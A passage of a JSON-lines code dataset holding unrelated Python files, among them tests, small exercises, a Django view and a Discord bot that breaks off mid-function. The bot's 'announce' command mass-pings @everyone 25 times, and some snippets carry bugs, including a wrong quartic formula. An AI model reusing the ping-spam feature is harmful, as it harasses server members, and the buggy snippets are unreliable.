iptables\n\n\n@pytest.mark.parametrize('ossec_service', [\n dict(host=\"0.0.0.0\", proto=\"tcp\", port=22),\n dict(host=\"127.0.0.1\", proto=\"tcp\", port=25),\n dict(host=\"0.0.0.0\", proto=\"udp\", port=1514),\n])\ndef test_listening_ports(Socket, Sudo, ossec_service):\n \"\"\"\n Ensure the OSSEC-related services are listening on the\n expected sockets. Services to check include ossec, mail, and ssh.\n \"\"\"\n socket = \"{proto}://{host}:{port}\".format(**ossec_service)\n with Sudo():\n assert Socket(socket).is_listening\n","repo_name":"elimisteve/securedrop","sub_path":"testinfra/mon/test_network.py","file_name":"test_network.py","file_ext":"py","file_size_in_byte":2654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"13127421176","text":"import sqlite3\r\n\r\nfrom abc import abstractmethod\r\nfrom typing import Iterable\r\n\r\nfrom pymongo import MongoClient\r\n\r\n\r\nclass DataStorage(object):\r\n @abstractmethod\r\n def get_objects(self) -> Iterable:\r\n pass\r\n\r\n @abstractmethod\r\n def get_object(self, key: str) -> dict:\r\n pass\r\n\r\n @abstractmethod\r\n def put_object(self, key: str, value: dict):\r\n pass\r\n\r\n @abstractmethod\r\n def delete_object(self, key: str):\r\n pass\r\n\r\n\r\nclass MemoryDataStorage(DataStorage):\r\n def __init__(self):\r\n self._storage = dict()\r\n\r\n def get_objects(self) -> Iterable:\r\n return self._storage.values()\r\n\r\n def get_object(self, key: str) -> dict:\r\n return self._storage.get(key)\r\n\r\n def put_object(self, key: str, value: dict):\r\n self._storage[key] = value\r\n\r\n def delete_object(self, key: str):\r\n self._storage.pop(key)\r\n\r\n\r\nclass SqliteDataStorage(DataStorage):\r\n def __init__(self):\r\n self._connection = sqlite3.connect('test.db')\r\n self._cursor = self._connection.cursor()\r\n\r\n self._cursor.execute('''\r\n CREATE TABLE IF NOT EXISTS objects (\r\n key TEXT, name TEXT, age TEXT, city TEXT, job TEXT\r\n )\r\n ''')\r\n\r\n def get_objects(self) -> Iterable:\r\n self._cursor.execute('SELECT * FROM objects')\r\n\r\n for row in self._cursor:\r\n yield self.__extract_object(row)\r\n\r\n def get_object(self, key: str) -> dict:\r\n self._cursor.execute(\"SELECT * FROM objects WHERE key = ?\", key)\r\n return self.__extract_object(self._cursor.fetchone())\r\n\r\n def put_object(self, key: str, value: dict):\r\n self.delete_object(key)\r\n\r\n name = value.get('name', str())\r\n age = value.get('age', -1)\r\n city = value.get('city', str())\r\n job = value.get('job', str())\r\n\r\n self._cursor.execute(\r\n \"INSERT INTO objects VALUES (?, ?, ?, ?, ?)\",\r\n (key, name, age, city, job,)\r\n )\r\n\r\n self._connection.commit()\r\n\r\n def delete_object(self, key: str):\r\n self._cursor.execute(\"DELETE FROM objects WHERE key = ? \", key)\r\n self._connection.commit()\r\n\r\n @staticmethod\r\n def __extract_object(row):\r\n return {\r\n 'name': row[1],\r\n 'age': row[2],\r\n 'city': row[3],\r\n 'job': row[4],\r\n } if row else None\r\n\r\n\r\nclass MongoDataStorage(DataStorage):\r\n def __init__(self):\r\n self._client = MongoClient()\r\n self._db = self._client['testdb']\r\n\r\n def get_objects(self) -> Iterable:\r\n return (self.__pure_value(value) for value in self._db.objects.find())\r\n\r\n def get_object(self, key: str) -> dict:\r\n return self.__pure_value(self._db.objects.find_one({'_id': key}))\r\n\r\n def put_object(self, key: str, value: dict):\r\n value['_id'] = key\r\n\r\n self._db.objects.find_one_and_replace(\r\n {'_id': key}, value, upsert=True\r\n )\r\n\r\n def delete_object(self, key: str):\r\n self._db.objects.delete_one({'_id': key})\r\n\r\n @staticmethod\r\n def __pure_value(value: dict):\r\n if value:\r\n value.pop('_id')\r\n\r\n return value\r\n\r\n\r\nif __name__ == '__main__':\r\n storage: DataStorage = MemoryDataStorage()\r\n\r\n storage.put_object('1', {\r\n 'name': 'Alice',\r\n 'age': 25,\r\n 'city': 'Tomsk'\r\n })\r\n\r\n storage.put_object('2', {\r\n 'name': 'Bob',\r\n 'age': 34,\r\n 'city': 'Moscow',\r\n 'job': 'python developer'\r\n })\r\n\r\n storage.put_object('3', {\r\n 'name': 'Carlos',\r\n 'age': '19',\r\n 'city': 'Ufa',\r\n })\r\n\r\n for person in storage.get_objects():\r\n print(person)\r\n\r\n print()\r\n print(storage.get_object('2'))\r\n storage.delete_object('2')\r\n print(storage.get_object('2'))\r\n","repo_name":"aivitsrimer/RA_Python","sub_path":"06/DataStorage.py","file_name":"DataStorage.py","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30719814144","text":"\"\"\" \nhttps://leetcode-cn.com/problems/ZL6zAn/\n剑指 Offer II 105. 岛屿的最大面积\n\"\"\"\n\nfrom typing import List\n\n\nclass Solution:\n def maxAreaOfIsland(self, grid: List[List[int]]) -> int:\n m, n = len(grid), len(grid[0])\n res = 0\n\n def helper(i, j):\n if not 0 <= i < m or not 0 <= j < n or grid[i][j] != 1:\n return 0\n grid[i][j] = 2\n ans = 1\n for x, y in [(i+1, j), (i-1, j), (i, j+1), (i, j-1)]:\n ans += helper(x, y)\n return ans\n\n for i in range(m):\n for j in range(n):\n if grid[i][j] == 1:\n res = max(helper(i, j), res)\n return res\n","repo_name":"NearTheSeas/algorithm","sub_path":"python/Offer2_105.py","file_name":"Offer2_105.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"9805198645","text":"from django.http import HttpResponseNotAllowed, HttpResponseBadRequest, HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom ncgmp.gsconfig.styles import StyleGenerator\nfrom ncgmp.gsconfig.layers import LayerGenerator\nfrom ncgmp.models import GeologicUnitView, DescriptionOfMapUnits, GeoMap\nfrom ncgmp.utils import HttpGeoJsonResponse\nimport json\n\n@csrf_exempt\ndef byCollection(req, gmId):\n gm = get_object_or_404(GeoMap, pk=gmId)\n \n if req.method == \"GET\":\n return HttpGeoJsonResponse(GeologicUnitView.objects.filter(owningmap=gm), False)\n \n elif req.method == \"POST\": \n response = { \"success\": True }\n try: \n gm.populateRepresentativeValues()\n gm.createGsmlp()\n LayerGenerator(gm).createNewLayers()\n StyleGenerator(gm).createStyle()\n return HttpResponse(json.dumps(response), content_type=\"application/json\")\n except Exception as ex: \n response[\"success\"] = False\n response[\"message\"] = str(ex)\n #return HttpResponse(json.dumps(response), content_type=\"application/json\", status=500)\n raise ex \n \n else:\n return HttpResponseNotAllowed([\"GET\", \"POST\"])","repo_name":"ncgmp09/ncgmp09-online","sub_path":"gsmlp/geounitview.py","file_name":"geounitview.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2940983076","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Dec 29 09:34:54 2018\r\n\r\n@author: puning\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom sklearn.neighbors import KDTree\r\n\r\nclass AKNNRegressor:\r\n def __init__(self,K,A,q):\r\n self.K=K\r\n self.A=A\r\n self.q=q\r\n def fit(self,X,y):\r\n tree=KDTree(X)\r\n self.tree=tree\r\n self.Xtrain=X\r\n self.ytrain=y\r\n def predict(self,X):\r\n tree=self.tree\r\n ytrain=self.ytrain\r\n K=self.K\r\n A=self.A\r\n q=self.q\r\n N=len(X)\r\n ypredict=[0]*N\r\n nlist=tree.query_radius(X,r=A,count_only=True)\r\n for i in range(N):\r\n ka=np.floor(K*(nlist[i]**q)).astype(int)+1\r\n dist,ind=tree.query(X[i].reshape(-1,1),k=ka)\r\n ypredict[i]=np.mean(ytrain[ind])\r\n return np.array(ypredict).reshape(-1,1)","repo_name":"pnzhao/Adaptive-kNN-regression","sub_path":"AKNN.py","file_name":"AKNN.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30156549567","text":"\"\"\"\r\n\n\nCreate a function that returns the number of (real) solutions of\n`ax^4+bx^2+c=0`. The function will take three arguments: `a` as the\ncoefficient of `x^4`, `b` as the coefficient of `x^2`, and `c` as the constant\nterm.\n\n### Examples\n\n quartic_equation(1, -5, 4) ➞ 4\n \n quartic_equation(4, 3, -1) ➞ 2\n \n quartic_equation(1, 10, 9) ➞ 0\n\n### Notes\n\nHint: Try substitution `t=x^2`.\n\n\"\"\"\r\n\ndef quartic_equation(a,b,c):\n d=b*b-4*a*c\n l=[]\n if d>=0:\n x,y=(-b+d**.5)/2*a,(-b-d**.5)/2*a\n if x>=0:l+=[x**.5,-x**.5]\n if y>=0:l+=[y**.5,-y**.5]\n return len(set(l))\n return 0\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"xRM8yTQRL3W6Wtdfi_0.py","file_name":"xRM8yTQRL3W6Wtdfi_0.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35224272938","text":"'''\r\n# comprehensions\r\na = [1, 2, 4 ,6]\r\nb = [i*2 for i in a]\r\nb = [i*2 for i in a if i > 3]\r\n\r\no = []\r\nx = 15\r\nfor _ in range(x):\r\n o.append(0)\r\n# _, а не i, потому что значение переменной нас не интересует\r\n\r\no = [o for _ in range(x)]\r\n\r\ns.upper() a -> A\r\ns.lower() b -> B\r\ns.capitalize() name -> Name\r\n\r\nwords = ['Анна', 'Brother', 'Moscow', 'Калуга']\r\n\r\nd = {'a':1, 'b':2}\r\nd1 = {k:v for k,v in enumerate(words)}\r\n--> {'1':'Анна', '2':'Brother'...}\r\n\r\ns1 = 'I lo'\r\ns2 = 've linguistics'\r\n\r\n# t.format()\r\nt = '{}{}'\r\nprint(t.format(s1,s2)) или ('{}{}'.format(s1,s2))\r\nРаботает с числами!\r\nprint('{1}{0}'.format(s1,s2)) - индексы наоборот\r\n\r\na = [1, 100, 28]\r\nt = 'Возраст: {:>10}' - выравнивание справа\r\n# {:<10} - выравнивание слева, {:^10} - выравнивание посередине\r\n# {:+>10} заполнить строку плюсами\r\nfor i in a:\r\n print(t.format(i))\r\n\r\n'{:.2f}'.format(pi) - 2 знака после запятой\r\n'{:.2}' - 2 символа, как срез\r\n\r\nimport re\r\n\r\ndef wrds():\r\n words = ['Анна', 'Brother', 'Moscow', 'Калуга']\r\n#только те, которые латиницей + к нижнему регистру\r\n new = [word.lower() for word in words if re.search('^[A-Za-z]+$', word)]\r\n print(', '.join(new))\r\n\r\n'''\r\n\r\ndef reading(filename):\r\n sym = \"0123456789.,?!…:;()[]-_|/\\\"'«»*{}<>@#$%^&№\"\r\n s = []\r\n with open(filename, encoding='utf-8') as f:\r\n for line in f:\r\n words = line.strip().lower().split()\r\n for word in words:\r\n s.append(word.strip(sym))\r\n return s\r\n\r\ndef main(s):\r\n i = 1\r\n for word in s:\r\n print('{}. {:>10}'.format(i, word))\r\n i += 1\r\n \r\nif __name__=='__main__':\r\n main(reading('text.txt'))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n","repo_name":"kategavrishina/homework4prog","sub_path":"cw_format/class.py","file_name":"class.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14002752559","text":"import os\nimport sys\nimport time\nimport subprocess\nimport argparse\n\n\na_parser = argparse.ArgumentParser()\na_parser.add_argument('--src', nargs='+')\na_parser.add_argument('-m', '--maxnum', type=int, default=-1)\nargs = a_parser.parse_args()\n\n\nif __name__ == '__main__':\n\n if args.src is not None:\n path_list = args.src\n else:\n path_list = []\n for line in sys.stdin.readlines():\n line = line.strip()\n line = os.path.abspath(line)\n path_list.append(line)\n\n n_submit = 0\n\n for path in path_list:\n\n os.chdir(path)\n dpath_submit = os.path.join(path, 'outdir/submit')\n fpath_submit = None\n if os.path.exists(dpath_submit):\n for name in os.listdir(dpath_submit):\n if name.startswith('analysis') and name.endswith('.sh'):\n fpath_submit = os.path.join('outdir/submit', name)\n if fpath_submit is None:\n sys.stderr.write('WARNING: submit script not found, for \\\"{}\\\"\\n'.format(path))\n continue\n \n try:\n subprocess.check_output(['sbatch', fpath_submit])\n n_submit += 1\n sys.stdout.write(path + '\\n')\n sys.stdout.flush()\n time.sleep(1)\n except:\n sys.stderr.write('WARNING: submission failed, for \\\"{}\\\"\\n'.format(path))\n\n if n_submit == args.maxnum:\n break\n","repo_name":"yiqixie94/cluster_scripts","sub_path":"pbilby_batch_submit.py","file_name":"pbilby_batch_submit.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29221793573","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nN= int(input())\r\ntarget = list(input().rstrip()) # 첫 단어 (비교 대상)\r\nanswer = 0\r\n\r\nfor _ in range(N-1):\r\n compare = target[:] \r\n word = input().rstrip() # 새로운 단어\r\n cnt = 0\r\n\r\n for w in word:\r\n if w in compare:\r\n compare.remove(w)\r\n else:\r\n cnt += 1\r\n\r\n if cnt < 2 and len(compare) < 2:\r\n answer += 1\r\n\r\nprint(answer)","repo_name":"bbbang105/BaekjoonPrac","sub_path":"백준/Silver/2607. 비슷한 단어/비슷한 단어.py","file_name":"비슷한 단어.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31715590267","text":"from collections import deque\nn,k = 3,3\ndata = [[1,0,2],[0,0,0],[3,0,0]]\ngs,gx,gy = 1,2,2\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1]\nv_arr = []\nsecond = 0\nfor i in range(n):\n for j in range(k):\n if data[i][j] != 0:\n v_arr.append([data[i][j],i,j])\n\nv_arr = sorted(v_arr, key = lambda x : x[0])\n\nqueue = deque(v_arr)\n\nwhile(second < gs):\n second += 1\n length = len(queue)\n for _ in range(length):\n v,i,j = queue.popleft()\n for d in range(4):\n x = i + dx[d]\n y = j + dy[d]\n if x >= 0 and x < n and y >= 0 and y < k and data[x][y] == 0:\n data[x][y] = v\n queue.append([v,x,y]) \n\nprint(data[gx-1][gy-1])\n","repo_name":"busa2004/snippet2","sub_path":"17(경쟁적 전염).py","file_name":"17(경쟁적 전염).py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33963244069","text":"\nimport node as nd\n\n\nclass DLinkedList:\n\n def __init__(self):\n self.head = None\n self.tail = None\n\n # insert(): insert at tail\n def insert(self,value):\n\n # create new (isolated) node\n new_node = nd.Node(value)\n new_node.next = None \n new_node.prev = None\n\n # empty list case\n if self.head == None and self.tail == None:\n self.head = new_node\n self.tail = new_node \n return\n\n # connect new node to the tail \n new_node.prev = self.tail\n self.tail.next = new_node\n self.tail = new_node \n\n\n # delete(): delete from tail\n def delete(self):\n # single element case\n if self.head == self.tail:\n self.head = None\n self.tail = None\n else: # more than one element \n self.tail = self.tail.prev\n self.tail.next = None\n\n # print_all()\n def print_all(self):\n cur = self.head\n while cur != None:\n print(cur.value)\n cur = cur.next\n\n\n \n \n","repo_name":"kinetic-cipher/algorithms","sub_path":"dlinked_list/dlinked_list.py","file_name":"dlinked_list.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9953094750","text":"#IMPORTANT: LINES 124-179 IS THE ROCK PAPER SCISSORS COMMAND THAT WAS ADDED TO THE EXISTING BOT DURING LHD BUILD.\nimport json\nfrom re import X\nfrom requests.sessions import extract_cookies_to_jar\nimport discord\nfrom discord.ext import commands\nfrom discord.ext.commands import CommandNotFound\nfrom discord import FFmpegPCMAudio\nimport random\nimport asyncio\nimport youtube_dl\nimport os\nimport requests\nimport datetime\nfrom datetime import date\nfrom datetime import time\nfrom datetime import datetime\nfrom datetime import timedelta\nimport sys\nfrom collections import Counter\nimport calendar\nfrom bs4 import BeautifulSoup\nimport traceback\nfrom discord.ui import Button, View\nkey = \"your_key\" \n\nmember_list = {}\nWEATHER_URL = \"http://api.openweathermap.org/data/2.5/weather?\"\nFORECAST_URL = \"http://api.openweathermap.org/data/2.5/forecast?\"\nTRANSLINK_API = \"your_api\"\nTOKEN_ID = \"use_your_own_bot_token\" \n\nintents = discord.Intents().all()\nbot = commands.Bot(command_prefix=\"?\", intents=intents)\nnow = datetime.now()\nNUM_TROLLSONGS = 7\nNUM_PLAYSONGS = 2\nNUM_ITERATIONS = 25\n\nweek = [\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\", \"Sunday\"]\n\n\n\n@bot.command(aliases = ['c'], help=\"The classic cheesetouch game you used to play as a kid, but discord edition\")\nasync def cheesetouch(ctx):\n try:\n members = []\n\n for member in ctx.guild.members:\n if not member.bot:\n\n if not member.name in member_list:\n member_list[member.name] = 0\n \n members.append(member)\n\n print(member_list) #a list of all server members\n #BOT OWNER IS IMMUNE FROM CT, REPLACE 'OWNER' WITH YOUR DISCORD USERNAME\n member_list['OWNER'] = 2\n\n if member_list.get(ctx.author.name) != 0: #if the user calling the command currently has the cheesetouch, then they pass it on to another user\n #removes ct from previous ct holder\n for key in member_list.keys():\n if member_list.get(key) == 1:\n member_list[key] = 0\n\n i = random.randint(1, len(members))\n await ctx.send(\"{}\".format(members[i-1].mention) + \" Has the cheesetouch\")\n member_list[members[i-1].name] = 1\n member_list[\"OWNER\"] = 2 #remember bot owner is always immune\n\n\n else: #if the user calling the command does not have the cheesetouch atm, then they can see who currently has it, but they can't pass it on to anyone else\n #iterate through member list and find the dude that has a 1.\n for key in member_list.keys():\n if member_list.get(key) == 1:\n await ctx.send(key + \" currently has the cheesetouch\")\n\n print(member_list)\n\n except Exception as e:\n print(e)\n\n\n\n@bot.command(aliases = ['l'], help=\"A simple guessing game. You win the 'lottery' if you get the number right. (This is harder than it seems, you'll see kekw)\")\nasync def lottery(ctx):\n try:\n i = 6\n ans = random.randint(1,100)\n print(ans)\n await ctx.send(\"{}\".format(ctx.author.mention) + \" Please enter a number from 1 to 100\") #allows user to input a guess\n\n def check(message):\n return message.channel == ctx.message.channel and message.author == ctx.message.author\n\n while (i > 0):\n\n input = await bot.wait_for(\"message\", timeout=30, check=check) #user has 30 seconds to input a guess before game quits\n print(input.content)\n\n if (input.content == str(ans)): #correct guess\n await ctx.send(\"{}\".format(ctx.author.mention) + \" congrats, you won the lottery\")\n await ctx.send(\"https://preview.redd.it/zsquuygt2zd41.jpg?auto=webp&s=d9228c1fcdad49a8cb142927ab576fd66bbc7c7f\") #lottery meme\n return\n\n else: #wrong guess\n i = i-1\n if i > 0:\n await ctx.send(\"{}\".format(ctx.author.mention) + \" Your guess was not correct, please try again, \" +str(i) + \" attemps remaining\")\n \n #if out of attempts\n await ctx.send(\"HAHAHAHA {}\".format(ctx.author.mention) + \" lost! The correct answer was \" + str(ans))\n await ctx.send(\"https://yt3.ggpht.com/ytc/AKedOLRc_LJeSrh2Mo5PUSgGRnVmQ776qAhrzTzGsVho=s900-c-k-c0x00ffffff-no-rj\") #kekw face\n\n except Exception as e:\n print(e)\n await ctx.send (\"Failed, here's the reason why: \" +e)\n\n#################################################################################################################################################################\n# This command (below) was completed during day 2 of LHD: Build. All other commands were previously there before the hackathon, and not part of the challenge.\n#################################################################################################################################################################\n\n@bot.command(aliases=['rps'], help=\"Straightforward, just rock paper scissors.\")\nasync def rockPaperScissors(ctx):\n try:\n \n button1 = Button(emoji=\"⛰️\", style=discord.ButtonStyle.grey)\n button2 = Button(emoji=\"📰\", style=discord.ButtonStyle.grey)\n button3 = Button(emoji=\"✂️\", style=discord.ButtonStyle.grey)\n\n #rock is 1, paper is 2, and scissors is 3. Dependencies: 2 > 1, 3 > 2, 1 > 3\n async def onClickListener1(interaction):\n \n player = 1\n AI = random.randint(1, 3)\n \n if (AI == 2):\n await interaction.response.edit_message(content=f\"{ctx.author.mention} You Lost :cry:, I picked paper\", view=None)\n elif (AI == 3):\n await interaction.response.edit_message(content=f\"{ctx.author.mention} You Won :smile:, I picked scissors\", view=None)\n else:\n await interaction.response.edit_message(content=f\"{ctx.author.mention} The game is a tie cuz I also picked rock lol\", view=None)\n\n async def onClickListener2(interaction):\n player = 2\n AI = random.randint(1, 3)\n\n if (AI == 3):\n await interaction.response.edit_message(content=f\"{ctx.author.mention} You Lost :cry:, I picked scissors\", view=None)\n elif (AI == 1):\n await interaction.response.edit_message(content=f\"{ctx.author.mention} You Won :smile:, I picked rock\", view=None)\n else:\n await interaction.response.edit_message(content=f\"{ctx.author.mention} The game is a tie cuz I also picked paper lol\", view=None)\n \n async def onClickListener3(interaction):\n player = 3\n AI = random.randint(1, 3)\n\n if (AI == 1):\n await interaction.response.edit_message(content=f\"{ctx.author.mention} You Lost :cry:, I picked rock\", view=None)\n elif (AI == 2):\n await interaction.response.edit_message(content=f\"{ctx.author.mention} You Won :smile:, I picked paper\", view=None)\n else:\n await interaction.response.edit_message(content=f\"{ctx.author.mention} The game is a tie cuz I also picked scissors lol\", view=None)\n \n button1.callback = onClickListener1\n button2.callback = onClickListener2\n button3.callback = onClickListener3\n\n view = View(timeout=15)\n view.add_item(button1)\n view.add_item(button2)\n view.add_item(button3)\n await ctx.send(\"Choose rock, paper or scissors\", view=view)\n\n except Exception as e:\n traceback.print_exc()\n \n \n \n@bot.command (aliases = ['n']) \nasync def announce(ctx):\n await ctx.send(\"Please enter a message for me to announce\")\n\n def check(message):\n return message.channel == ctx.message.channel and message.author == ctx.message.author\n \n input = await bot.wait_for(\"message\", timeout=30, check=check) #user has 30 seconds to enter a message to announce\n print(input.content)\n\n try:\n for i in range (NUM_ITERATIONS): #will repeatedly ping everyone NUM_ITERATIONS amount of times.\n await ctx.send(f\"<@everyone>\") \n await ctx.send(\"{}\".format(input.content)) \n except Exception as e:\n print(e)\n\n\n\n@bot.command(aliases = ['a'])\nasync def add(ctx, *numbers):\n try:\n sum = 0\n print(numbers)\n k = []\n for n in range (len(numbers) - 1): #adds sum while formatting the equation that is printed at the end\n k.append(numbers[n])\n sum += int(numbers[n])\n k.append(\" + \")\n \n k.append(numbers[len(numbers) - 1])\n sum += int(numbers[len(numbers) - 1])\n k.append(\" equals:\")\n \n print(sum)\n embed=discord.Embed(title= \" \".join(k), description= str(sum), color=0xFF5733) #prints out the equation as the title, then the sum as the description\n await ctx.send(embed=embed)\n\n except Exception as e:\n print(e)\n await ctx.send(\"{}\".format(ctx.author.mention) + \"OOPS, invalid number or you entered too many numbers for an embed to display kekw\")\n\n\n\n@bot.command(name = 'average', help='calculates the weighted average of user inputted numbers and weights. Useful for GPA calculations.', aliases = ['avg'])\nasync def average(ctx, *args):\n try: \n value = []\n weight = []\n sum = 0\n weightsum = 0\n for x in args:\n it = x.split(\",\")\n\n #if weight is not specified (args do not have ,) then simply put the weight as 1\n if len(it) == 1:\n value.append(it[0])\n weight.append(1)\n\n elif len(it) == 2:\n value.append(it[0])\n if int(it[1]) < 0:\n await ctx.send(\"{}\".format(ctx.author.mention) + \"Bruh why would you enter weights that are less than 0\")\n #Design choice: weights cannot be less than zero, to make calculations simpler\n raise Exception(\"Bruh why would you enter weights that are less than 0\") \n weight.append(it[1])\n \n #wrong format\n else:\n await ctx.send(\"{}\".format(ctx.author.mention) + \"Invalid input, please enter your values and weights in one of the following format: value1,weight1 value2,weight2 etc... OR value1 value2 etc... Ensure they are all valid numbers\")\n value.append(0.0)\n weight.append(0.0)\n break\n\n #calculates the average\n print(value)\n print(weight)\n for i in range (len(value)):\n a = float(value[i])\n b = float(weight[i])\n sum += float(a * b)\n weightsum += b\n\n average = float(sum/weightsum)\n embed=discord.Embed(title=\"Your weighted average is:\", description= str(average), color=0xFF5733)\n if average < 50: #F\n embed.set_thumbnail(url=\"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT9D6zneddyBjmc3M4dro8aPywrlM-SHJuP7Q&usqp=CAU\")\n elif average < 55: #D\n embed.set_thumbnail(url=\"https://cdn.gottman.com/wp-content/uploads/2014/02/D-is-for-Defensiveness_HI.jpg\")\n elif average < 68: #C\n embed.set_thumbnail(url=\"https://us.123rf.com/450wm/logomimi/logomimi2102/logomimi210200810/163861624-grade-result-c-red-exam-score-vector-illustration.jpg?ver=6\")\n elif average < 80: #B\n embed.set_thumbnail(url=\"https://www.photos-public-domain.com/wp-content/uploads/2012/07/b-school-letter-grade.jpg\")\n else: #A\n embed.set_thumbnail(url=\"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTuDkIv-DepFa3h8FjHQ2WDwCSNuhu1qwCB7A&usqp=CAU\")\n await ctx.send(embed=embed)\n \n except Exception as e:\n await ctx.send(\"{}\".format(ctx.author.mention) + \" lol you didn't enter valid numbers or you had a total weight of 0 and thus got an error due to dividing by 0!\")\n print(e)\n\n\n\n@bot.command(aliases = ['rickroll', 'p'], help='Plays music, but for now it is only 2 songs kekw', pass_context = True)\nasync def play(ctx):\n try: \n if ctx.author.voice:\n channel = ctx.message.author.voice.channel\n voice = await channel.connect()\n i = random.randint(1,NUM_PLAYSONGS)\n if i == 2:\n source = FFmpegPCMAudio('rr.wav') #rickroll\n if i == 1:\n source = FFmpegPCMAudio('st1.mp3') #weird noises that arent rickroll\n \n voice.play(source)\n\n if i == 2:\n await ctx.send(\"Hahaha, you got rickrolled pog\")\n else:\n await ctx.send(\"Enjoy these weird ass noises\")\n \n else:\n await ctx.send(\"WTF are you doing man, you gotta be in a voice channel for me to play music!\") #if user calls the command when not in voice channel\n \n except Exception as e:\n print(e)\n await ctx.send(\"Failed, reason: \" + e)\n\n\n\n@bot.command(aliases = ['r'], help= 'Plays loud music, watch your ears!', pass_context = True)\nasync def earrape(ctx):\n try: \n if ctx.author.voice:\n \n channel = ctx.message.author.voice.channel\n voice = await channel.connect()\n i = random.randint(1, NUM_TROLLSONGS)\n print(i)\n\n #7 of the most meme songs on there for now...\n if i == 1:\n source = FFmpegPCMAudio('WII.mp3') \n if i == 2:\n source = FFmpegPCMAudio('SWED.mp3')\n if i == 3:\n source = FFmpegPCMAudio('TTT.mp3')\n if i == 4:\n source = FFmpegPCMAudio('TS.mp3')\n if i == 5:\n source = FFmpegPCMAudio('LYDS.mp3')\n if i == 6:\n source = FFmpegPCMAudio('TIKC.mp3')\n if i == 7:\n source = FFmpegPCMAudio('DDS.mp3')\n\n voice.play(source)\n \n else:\n await ctx.send(\"WTF are you doing man, you can't get earraped if ur not in a voice channel\") #if user calls command when not in voice channel\n \n except Exception as e:\n print(e)\n await ctx.send(\"Failed, reason: \" + e)\n\n\n\n@bot.command(name = 'exit', help = 'disconnects bot from channel', aliases = ['e'])\nasync def exit(ctx):\n if ctx.author.voice:\n await ctx.voice_client.disconnect()\n \n else:\n await ctx.send(\"HAHAHAHA You aren't in a voice channel, can't kick me out xP :)\") #if user tries to kick the bot out of voice when not in a voice channel\n\n\n\n@bot.command(help = 'searches urban dictionary for a definition of the given term', aliases = ['ud', 'define', 'definition'])\nasync def urban(ctx, *args):\n try:\n urlend = (\"%20\".join(args[:]))\n url = \"https://www.urbandictionary.com/define.php?term=\"+urlend\n print(url)\n text1 = requests.get(url, timeout=5) \n\n #web scrapes the given URL using bs4 to find the definition. Finds the first definition that is on the page and prints it.\n s = BeautifulSoup(text1.text, 'lxml')\n\n t = s.find_all('div', class_='meaning')\n\n embed=discord.Embed(title=\"The official urban dictionary definition of \" +(\" \".join(args[:])) +\":\", description= t[0].text, color=0xFF5733)\n embed.set_thumbnail(url=\"http://www.userlogos.org/files/logos/Str1ke/UrbanDict.png\") #urban dictionary logo\n await ctx.send(embed=embed)\n\n except Exception as e:\n await ctx.send(\"{}\".format(ctx.author.mention) + \"Oops, I can't find any definitions\")\n print(e)\n \n\n\n@bot.command(name = 'bus', help = 'gives the user the time of the next bus departure from a bus stop', aliases = ['nb'])\nasync def nextBus(ctx,stop_num):\n try:\n headers = {\"accept\":\"application/JSON\"}\n url = \"https://api.translink.ca/rttiapi/v1/stops/\" + stop_num + \"/estimates?apikey=\" + TRANSLINK_API + \"&count=1&timeframe=1440\"\n \n r = requests.get(url,headers=headers)\n bus_data = r.json()[0]\n\n #accesses bus route, destination, and departure time from the json data\n schedule = bus_data['Schedules'][0]\n await ctx.send(\"Bus route: \" + bus_data['RouteNo'] + \" \" + bus_data['RouteName'] + \" to \" + schedule['Destination'])\n busTime = (schedule['ExpectedLeaveTime'])\n \n #Formats the time to the correct format to calculate the time difference between now and the departure time\n datetime_busTime = datetime.strptime(busTime, '%I:%M%p')\n hour = datetime_busTime.hour\n min = datetime_busTime.minute\n\n busTime = datetime(now.year, now.month, now.day, hour, min)\n\n #prints out time until departure time\n timeToNextBus = busTime - now\n timeInMin = int((timeToNextBus.total_seconds())/60)\n await ctx.send(\"Arriving in: \" +str(timeInMin) + \" minutes\")\n if timeInMin >= 20: \n await ctx.send(\"Enjoy waiting :rofl:\")\n\n\n except Exception as e:\n await ctx.send(\"This bus stop number does not exist. Please enter a valid 5-digit bus stop\")\n print(e)\n\n\n\n@bot.command(help=\"Gets the weather forecast for the specified city\" )\nasync def weather(ctx, *city):\n try:\n c = \" \".join(city)\n URL = WEATHER_URL + \"q=\" + c + \"&appid=\" + key\n response = requests.get(URL)\n data = response.json()\n print(URL)\n\n m = data['main']\n k = data['weather']\n print(k)\n if len(k[0]) == 1:\n raise Exception(\"No city found!\") #if the 